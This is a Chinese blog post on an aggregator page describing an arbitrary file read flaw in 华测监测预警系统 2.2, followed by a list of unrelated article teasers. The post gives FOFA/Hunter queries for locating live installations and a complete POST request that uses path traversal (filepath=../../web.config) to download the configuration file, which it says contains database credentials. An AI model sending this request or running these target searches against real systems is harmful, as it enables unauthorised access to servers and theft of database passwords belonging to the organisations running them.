当前位置： 首页 > news >正文

华测监测预警系统 2.2---任意文件读取漏洞

news 2025/10/19 22:36:18

目录

1. 资产搜集

2. 漏洞复现

3. 实战总结

1. 资产搜集

直接上fofa 和 hunter
个人推荐hunter可以看到icp备案公司直接提交盒子就行了

FOFA语法 app=”华测监测预警系统2.2”

Hunter语法 web.body=”华测监测预警系统2.2”

图片

2. 漏洞复现

这里手动复现的，目录是/Handler/FileDownLoad.ashx
通过hackerbar 可以修改POST传参，或者利用BP构造请求包。

 

  1.  
    POST /Handler/FileDownLoad.ashx HTTP/1.1
     
  2.  
    Host: ip:port
     
  3.  
    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
     
  4.  
    Accept-Encoding: gzip, deflate
     
  5.  
    Accept: */*
     
  6.  
    Connection: close
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    Content-Length: 36
     
  9.  
     
  10.  
    filename=1&filepath=../../web.config
     
 

这里的filename随便传参，只是一个文件名字。
 filepath是文件路径，这里访问后会直接下载文件到本地。
 

 

图片
 

文件里包含了数据库的账号密码
 

3. 实战总结
 

最后直接用hunter找到有备案信息的公司，直接提交 盒子成功！！！
 

图片
 

 

图片
 

                                                            没看够~？欢迎关注扫一扫！
 















相关文章：
















华测监测预警系统 2.2---任意文件读取漏洞




目录 1. 资产搜集 
2. 漏洞复现 
3. 实战总结 1. 资产搜集 
直接上fofa 和 hunter 个人推荐hunter可以看到icp备案公司直接提交盒子就行了 
FOFA语法 app”华测监测预警系统2.2” 
Hunter语法 web.body”华测监测预警系统2.2” 2. 漏洞复现 
这里手动复现的，目录是/…...






编程日记
2023/10/19 18:03:18



















新版多功能去水印工具微信小程序源码下载+带流量主功能




新版多功能去水印工具微信小程序源码下载，带流量主功能。自带去水印接口的多功能小程序，支持各大平台短视频去水印。 支持保存封面、图集、标题等等；支持本地图片去水印；支持图片拼接；支持九宫格切图；支持修…...






编程日记
2023/10/19 18:01:14



















文章必备| 叶绿体基因组高级分析内容汇总




叶绿体普遍存在于植物体中，叶绿体基因组是一个典型的双链环状DNA分子，一个植物当中含有多个叶绿体，一个叶绿体中含有12个cpDNA分子。 
常见的植物叶绿体基因组大小一般在150-160 kb左右，藻类会略小一些，在80-100 kb左右…...






编程日记
2023/10/19 18:00:13



















阿里实习JAVA后端面经总结




暑期实习面试阿里Java后端岗位的一面的面经。 
主要拷打了项目+Java 集合+Java并发+网络+mysql，一场面试大概问了 20 个题目，问的还是比较基础，不算太难。 
问题记录 
简历上有两个项目，选一个你比较熟悉的介绍 
（略） 
项目用到了哪个线程实现类？ 
用了ScheduledThreadP…...






编程日记
2023/10/19 17:59:13



















利用 NLP 超能力：一步步介绍Hugging Face微调教程




导入必要的库 
导入必要的库类似于为特定编程和数据分析活动构建工具包。这些库通常是预先编写的代码集合，提供广泛的功能和工具，有助于加快开发速度。开发人员和数据科学家可以通过导入适当的库来访问新功能、提高生产力并使用现有解决方案。 
import pandas as pd
import n…...






编程日记
2023/10/19 17:58:11



















凝聚技术力量 共建测试生态 ——集成电路测试技术交流日成功举办




10月18日下午，凝聚技术力量，共建测试生态 ——集成电路测试技术交流会在上海成功举办。来自全国各地知名专家学者、技术大咖及企业代表齐聚一堂，共同探讨封装测试技术的发展方向，共话产业未来，共促产业发展。 本次活动…...






编程日记
2023/10/19 17:57:10



















机器学习-ROC曲线：技术解析与实战应用




目录 一、引言ROC曲线简介 二、ROC曲线的历史背景二战雷达信号检测在医学和机器学习中的应用横跨多个领域的普及 三、数学基础True Positive Rate（TPR）与False Positive Rate（FPR）True Positive Rate（TPR）F…...






编程日记
2023/10/19 17:56:09



















macos平台好用的FTP客户端 Transmit 5最新中文




Transmit 5是一款Mac平台上的FTP(文件传输协议)客户端软件，它可以让用户方便地在不同的计算机之间传输文件，例如从本地计算机上传或下载文件到远程服务器。以下是Transmit 5的一些主要功能和特点： 
用户友好的界面：Transmit 5具有…...






编程日记
2023/10/19 17:55:08



















用JavaScript输出0-9的两种方法、以及setTimeout的三个参数的意义




方法一：  
for (let i  0; i < 10; i) {setTimeout(() > {console.log(i);}, 1000)
} 
方法二&#xff1a;利用 setTimeout 函数的第三个参数&#xff0c;会作为回调函数的第一个参数传入 
for (var i  0; i < 10; i) {setTimeout(i > {console.log(i);…...






编程日记
2023/10/19 17:53:07



















酷鸟云近期主要新功能合集




近期&#xff0c;根据用户需求&#xff0c;酷鸟云上线了一系列新功能&#xff0c;让大家在使用过程中&#xff0c;更加灵活和高效。 1、仿真指纹功能优化 
酷鸟云内置的专业防关联浏览器的仿真指纹功能&#xff0c;可以解决注册谷歌账号/谷歌邮箱&#xff08;Gmail&#xff09;…...






编程日记
2023/10/19 17:52:03



















【大数据开发技术】实验06-SequenceFile、元数据操作与MapReduce单词计数




文章目录 SequenceFile、元数据操作与MapReduce单词计数一、实验目标二、实验要求三、实验内容四、实验步骤附&#xff1a;系列文章 SequenceFile、元数据操作与MapReduce单词计数 
一、实验目标 
熟练掌握hadoop操作指令及HDFS命令行接口掌握HDFS SequenceFile读写操作掌握Map…...






编程日记
2023/10/19 17:51:02



















【C语言】输入一个正整数，判断其是否为素数




1、素数又叫质数。素数&#xff0c;指的是“大于1的整数中&#xff0c;只能被1和这个数本身整除的数”。 
2、素数也可以被等价表述成&#xff1a;“在正整数范围内&#xff0c;大于1并且只有1和自身两个约数的数”。 #include<stdio.h>int main() {int i,m;printf("…...






编程日记
2023/10/19 17:50:01



















2023年Q3季度国内手机大盘销额下滑2%，TOP品牌销售数据分析




根据Canalys机构发布的最新报告&#xff0c;2023年第三季度&#xff0c;全球智能手机市场出货量仅下跌1%&#xff0c;可以认为目前全球手机市场的下滑势头有所减缓。而国内线上市场的表现也类似。 根据鲸参谋数据显示&#xff0c;今年Q3京东平台手机累计销量约1100万件&#xf…...






编程日记
2023/10/19 17:49:00



















使用按钮从 SAP 系统内打开 Excel 文件




了解如何通过 SAP 屏幕上创建的按钮打开所需的 Excel 文件。为了演示这一点&#xff0c;将指导您完成以下步骤。 
使用 del 命令删除 SAP 上不必要的元素添加一个按钮&#xff0c;单击后打开弹出窗口创建一个函数来选择 excel 文件创建打开所需 excel 文件的函数 
定制 
登录 S…...






编程日记
2023/10/19 17:47:58



















人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络，技术创新点介绍




大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能(pytorch)搭建模型20-基于pytorch搭建文本生成视频的生成对抗网络&#xff0c;技术创新点介绍&#xff0c;随着人工智能和深度学习技术的飞速发展&#xff0c;文本到视频生成已经成为计算机视觉领域中一个重…...






编程日记
2023/10/19 17:46:57



















C/C++面试常见问题——指针和引用的区别




首先想要理解指针和引用的区别&#xff0c;我们要明确什么是指针&#xff0c;什么是引用 
一&#xff0c;指针和引用的基本概念及特性 
指针是一个特殊变量&#xff0c;其中存储着所指向变量的地址 
指针主要有以下特性&#xff1a; 
1. 在使用时需要*解引用 
2. sizeof(指针)的…...






编程日记
2023/10/19 17:45:56



















探索DeFi世界，MixGPT引领智能金融新时代




随着区块链技术的迅猛发展&#xff0c;DeFi&#xff08;去中心化金融&#xff09;正成为金融领域的新宠。在这个充满活力的领域里&#xff0c;MixTrust站在创新的前沿&#xff0c;推出了一款引领智能金融新时代的核心技术——MixGPT。 MixGPT&#xff1a;引领智能金融体验的大型…...






编程日记
2023/10/19 17:44:55



















留学教育咨询机构如何通过软文强势突围




近年来留学市场逐渐回暖&#xff0c;但是行业竞争也更加激烈&#xff0c;留学教育咨询机构想要在激烈的市场竞争中强势突围&#xff0c;除了优秀的职业素养&#xff0c;专业的服务态度外&#xff0c;还需要具备品牌形象打造和推广的能力&#xff0c;也有不少留学机构找盒子进行…...






编程日记
2023/10/19 17:43:52



















苹果平板可以用别的电容笔吗？电容笔和Apple pencil区别




和苹果原装的Pencil相比&#xff0c;这种平替的电容笔并没具备重力压感&#xff0c;只有一种倾斜的压感功能。如果你不经常用来作画&#xff0c;一支普通的电容笔就足够了。不管是用来记笔记&#xff0c;还是用来解决一些数学问题&#xff0c;都能用得上。再说了&#xff0c;即…...






编程日记
2023/10/19 17:42:51



















【Matlab笔记_16】yyyy-MM-dd HH:mm:ss的datetime格式拆分为yyyy-MM-dd日期部分和HH:mm:ss时间部分




实例&#xff1a;需要拆分的时间为’2002-04-17 11:00:00’ 
1拆分出 ‘2002-04-17’ 
% 假设datetime对象是 dt&#xff0c;例如&#xff1a;
dt  datetime(2002-04-17 11:00:00);% 使用dateshift提取日期部分
dateOnly  dateshift(dt, start, day);% 显示提取的日期部分
disp…...






编程日记
2023/10/19 17:41:50





















【kafka】Golang实现分布式Masscan任务调度系统




要求&#xff1a; 输出两个程序&#xff0c;一个命令行程序&#xff08;命令行参数用flag&#xff09;和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽&#xff0c;然后将消息推送到kafka里面。 
服务端程序&#xff1a; 
从kafka消费者接收…...






编程新知
2025/10/18 6:13:41



















【OSG学习笔记】Day 18: 碰撞检测与物理交互




物理引擎&#xff08;Physics Engine&#xff09; 
物理引擎 是一种通过计算机模拟物理规律&#xff08;如力学、碰撞、重力、流体动力学等&#xff09;的软件工具或库。 
它的核心目标是在虚拟环境中逼真地模拟物体的运动和交互&#xff0c;广泛应用于 游戏开发、动画制作、虚…...






编程新知
2025/10/17 3:30:01



















MySQL 隔离级别：脏读、幻读及不可重复读的原理与示例




一、MySQL 隔离级别 
MySQL 提供了四种隔离级别，用于控制事务之间的并发访问以及数据的可见性，不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式，具体如下： 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交（READ UNCOMMITTED）允许出现允许…...






编程新知
2025/9/16 21:01:58



















理解 MCP 工作流：使用 Ollama 和 LangChain 构建本地 MCP 客户端




&#x1f31f; 什么是 MCP&#xff1f; 
模型控制协议 (MCP) 是一种创新的协议&#xff0c;旨在无缝连接 AI 模型与应用程序。 
MCP 是一个开源协议&#xff0c;它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 
可以把它想象成你的 AI 模型 和想要使用它…...






编程新知
2025/10/18 1:16:10



















Objective-C常用命名规范总结




【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名&#xff08;Class Name)2.协议名&#xff08;Protocol Name)3.方法名&#xff08;Method Name)4.属性名&#xff08;Property Name&#xff09;5.局部变量/实例变量&#xff08;Local / Instance Variables&…...






编程新知
2025/10/5 6:41:51



















全志A40i android7.1 调试信息打印串口由uart0改为uart3




一&#xff0c;概述 
1. 目的 
将调试信息打印串口由uart0改为uart3。 
2. 版本信息 
Uboot版本&#xff1a;2014.07&#xff1b; Kernel版本&#xff1a;Linux-3.10&#xff1b; 
二&#xff0c;Uboot 
1. sys_config.fex改动 
使能uart3(TX:PH00 RX:PH01)&#xff0c;并让boo…...






编程新知
2025/10/14 19:53:07



















Map相关知识




数据结构 
二叉树 
二叉树&#xff0c;顾名思义&#xff0c;每个节点最多有两个“叉”&#xff0c;也就是两个子节点&#xff0c;分别是左子 节点和右子节点。不过&#xff0c;二叉树并不要求每个节点都有两个子节点&#xff0c;有的节点只 有左子节点&#xff0c;有的节点只有…...






编程新知
2025/10/19 20:34:47



















OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波（Mean Shift Filtering）函数meanShiftFiltering()




操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 
算法描述 
在 GPU 上对图像执行 均值漂移滤波&#xff08;Mean Shift Filtering&#xff09;&#xff0c;用于图像分割或平滑处理。 
该函数将输入图像中的…...






编程新知
2025/9/23 18:21:19



















10-Oracle 23 ai Vector Search 概述和参数




一、Oracle AI Vector Search 概述 
企业和个人都在尝试各种AI&#xff0c;使用客户端或是内部自己搭建集成大模型的终端&#xff0c;加速与大型语言模型&#xff08;LLM&#xff09;的结合&#xff0c;同时使用检索增强生成&#xff08;Retrieval Augmented Generation &#…...






编程新知
2025/10/19 16:32:05



















MySQL 索引底层结构揭秘：B-Tree 与 B+Tree 的区别与应用




文章目录 一、背景知识&#xff1a;什么是 B-Tree 和 BTree&#xff1f; B-Tree&#xff08;平衡多路查找树&#xff09; BTree&#xff08;B-Tree 的变种&#xff09; 二、结构对比&#xff1a;一张图看懂 三、为什么 MySQL InnoDB 选择 BTree&#xff1f; 
1. 范围查询更快 2…...






编程新知
2025/10/18 14:10:02